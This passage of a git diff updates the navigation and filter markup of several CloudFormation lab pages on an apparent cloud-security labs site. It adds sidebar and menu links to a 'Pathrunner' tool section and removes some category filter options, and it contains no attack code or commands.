+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/cloudformation-001/index.html b/docs/labs/cloudformation-001/index.html
index f1a5e7dc..7147623e 100644
--- a/docs/labs/cloudformation-001/index.html
+++ b/docs/labs/cloudformation-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/cloudformation-002/index.html b/docs/labs/cloudformation-002/index.html
index a1462296..e07918cb 100644
--- a/docs/labs/cloudformation-002/index.html
+++ b/docs/labs/cloudformation-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/cloudformation-003/index.html b/docs/labs/cloudformation-003/index.html
index 197b141f..055aa76c 100644
--- a/docs/labs/cloudformation-003/index.html
+++ b/docs/labs/cloudformation-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/cloudformation-004/index.html b/docs/labs/cloudformation-004/index.html
index 888ecebd..dc966399 100644
--- a/docs/labs/cloudformation-004/index.html
+++ b/docs/labs/cloudformation-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/cloudformation-005/index.html b/docs/labs/cloudformation-005/index.html
index 6ce29b05..9e502c84 100644
--- a/docs/labs/cloudformation-005/index.html
+++ b/docs/labs/cloudformation-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
